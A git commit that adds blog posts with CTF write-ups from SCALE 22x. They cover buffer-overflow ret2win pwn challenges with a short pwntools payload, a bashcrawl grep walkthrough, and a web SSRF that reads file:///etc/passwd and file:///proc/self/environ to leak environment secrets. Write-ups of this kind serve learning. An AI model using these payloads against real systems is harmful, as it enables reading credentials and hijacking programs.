Adds fcsc 2025 and scale 22x

This commit is contained in:
2025-06-27 15:28:31 +02:00
parent 6d8ee0b2af
commit a62dc87cf7
17 changed files with 11602 additions and 1 deletions

View File

@@ -0,0 +1,14 @@
+++
date = '2025-04-28T12:00:00+02:00'
draft = false
title = 'SCALE 22x'
+++
![logo_scale](logo_scale.png)
I attended the South California Linux Expo better known as [SCALE](https://www.socallinuxexpo.org) for its 22nd edition. For this occasion a CTF (2 actually but I didn't try the other one as it was at the same time) was organised by pacific hackers.
The CTF lasted 2h30 and me and a friend were able to get first place.
- Web
- [artist](./web.md)
- [the_dev_robots](./web.md)

View File

@@ -0,0 +1,42 @@
+++
date = '2025-04-28T12:00:00+02:00'
draft = false
title = 'Acid burn'
tags = ['pwn']
+++
Here is the decompiled code for the challenge.
```c
int main(void)
{
int iVar1;
char input [64];
printf("What is the password?\n?: ");
fflush(stdout);
fgets(input,0x80,stdin);
iVar1 = strcmp(input,"password\n");
if (iVar1 != 0) {
puts("incorrect password");
fflush(stdout);
}
return 0;
}
```
There is a pretty large buffer overflow on the `input` variable and there also conveniently is a function called `flag` that displays the flag (and of course all the protections are disabled).
This is a classic ret2win scenario where we have to overwrite the return pointer to jump to the `flag` function.
A small python script using pwntools should do the job.
```python
io = start()
payload = flat(
b'A'*(64+8),
pack(elf.symbols.flag))
write("payload", payload)
io.sendlineafter(b'?: ', payload)
io.interactive()
```
I didn't save the flag but this works and solves the challenge.

View File

@@ -0,0 +1,68 @@
+++
date = '2025-04-28T12:00:00+02:00'
draft = false
title = 'Crash override'
tags = ['pwn']
+++
This challenge is funny and I've never seen it before it was really easy once I turned on my brain and realised that the solution isn't supposed to work on my local system without the provided container and that I should try on the remote.
So we get a file and the usual nc command, as always lets fire up ghidra and see what we're dealing with.
```c
int main(void)
{
int iVar1;
char input [64];
signal(0xb,on_segfault);
printf("What is the password?\n?: ");
fflush(stdout);
fgets(input,0x80,stdin);
iVar1 = strcmp(input,"password\n");
if (iVar1 != 0) {
puts("incorrect password");
fflush(stdout);
}
return 0;
}
```
This looks like a simple password checking function, however we quickly notice two things.
1. First we have a nice little buffer overflow on the input, we are able to input 0x80 chars (which is 128 in decimal) inside of a 60 bytes buffer. For a beginner oriented CTF this isn't surprising.
2. More surprising is the use of `signal` which I guessed allows to do something when receiving a syscall. After a quick look at the manual I was right. This allow us to map a signal to a function resulting in a call to the function being performed when the signal is received by the program (I don't think this is all and I am not sure that it is exactly what happens but it's more than enough to do the challenge). By the name of the function and after a quick look on the internet we can confirm that `0xb` (11 in decimal) is the syscall number for `SIGSEGV` better know as the segmentation fault (invalid memory reference, tried to dereference an invalid pointer).
So putting it all together we have a buffer overflow that allows us to trigger a segfault by overriding the return pointer and a function that executes when a segfault occurs. But what's that function ?
```C
void on_segfault(int sig_num)
{
int iVar1;
FILE *__stream;
char acStack_b0 [64];
code *pcStack_70;
int sig_num_local;
char data [64];
FILE *fd;
sig_num_local = sig_num;
__stream = fopen("./flag","r");
fgets(data,0x40,__stream);
printf("%s",data);
fclose(__stream);
FUN_00401140(1);
signal(0xb,on_segfault);
printf("What is the password?\n?: ");
fflush(stdout);
fgets(acStack_b0,0x80,stdin);
iVar1 = strcmp(acStack_b0,"password\n");
if (iVar1 != 0) {
puts("incorrect password");
fflush(stdout);
}
return;
}
```
I removed some bloat but what this function basically does is read the flag and print it.
So we know what to do, trigger a segfault and you're done. To do that send about 100 characters and you get the flag.

Binary file not shown.

After

Width:  |  Height:  |  Size: 188 KiB

View File

@@ -0,0 +1,41 @@
+++
date = '2025-04-28T12:00:00+02:00'
draft = false
title = 'bashcrawl'
tags = ['misc']
+++
Bashcrawl is a series of challenges revolving around the [bashcrawl](https://github.com/mks22-dw/bashcrawl) game which purpose is to teach the basics of using a POSIX (Linux, BSD, UNIX) terminal.
Having used Linux for a few years I did not need to learn how to use the command line and didn't have time either as I had a CTF to win.
So I decided to use alternate ways of finding the answers to the challenges. This will mostly resolve around using `grep` to find where is the part related to the current challenge.
If you want to try this yourself just clone the [repo](https://github.com/mks22-dw/bashcrawl).
Without further ado lets get started.
## Bashcrawl 1
Where are you ?
This is an easy one and we simply need to give the name of the starting directory which is `entrance`.
## Bashcrawl 2
Where does the portal lead ?
We are supposed to play the game until we encounter a portal (which is creating a link using `ln`) and give the name of the directory we end up in.
But this is to long I don't have time to play this game so :
```bash
$ grep -r "portal"
```
```txt
cellar/armoury/chamber/spell: echo "a portal that will allow you to walk through"
cellar/armoury/chamber/spell: echo "ln -f -s `pwd`/../../../chapel/courtyard/aviary/hall portal"
.scrap:# ln -s ../../../../.rift portal
```
There are two places where a portal is mentionned in the .scrap file and in a file in the chamber . As a lazy person I of course start by the one I am already in, the portal that lead to the rift. Wrong flag, ok then it's the other one. I try the other one and it's correct, the flag is `spell`.
## Bashcrawl 3-6
I am not going to give you all the solutions you will have to finish by yourself 😉

View File

@@ -0,0 +1,47 @@
+++
date = '2025-04-28T12:00:00+02:00'
draft = false
title = 'Web challenges'
tags = ['web']
+++
Two challenges solved in web
# The dev robots
This involved downloading an exposed .git and using the git history to recover an admin password.
# Artist
This was a webpage with a function to change the background to any image using curl on the server.
```python
@app.route('/set_background', methods=['POST'])
def set_background():
try:
background = request.json.get('background', '')
if not (background.startswith('#') or background.startswith('rgb') or background.replace(' ', '').isalpha()):
try:
result = subprocess.run(
['curl', '-s', '-L', background],
capture_output=True,
shell=False
)
if result.returncode == 0 and result.stdout:
encoded = base64.b64encode(result.stdout).decode('utf-8')
return jsonify({
'background': f'data:image/png;base64,{encoded}'
})
return jsonify({'background': ''})
```
This way of calling curl using subprocess is (as far as I know) immune to command injections attacks however we still control the url field.
curl supports a really useful protocol called `file` which allows you to read any file on the system (as long as the use running the process as read permissions).
So we can for example send `file:///etc/passwd` for the url of the background and we will receive the base64 encoded content of the file.
Ok but this doesn't seem that useful at first because there is no `flag.txt` the flag is an environment variable.
Something nice about linux is that a lot of informations on the current state of the different processes is avaible in the `/proc` pseudo filesystem. In that filesystem we have the directory `/proc/self` containing informations about the process that reads it.
And furthermore in that directory is the file `/proc/self/environ` which when read returns all the environment variables for the current process.
So we send `file:///proc/self/environ` as the url for the background image and receive all the environment variables base64 encoded. Including the flag.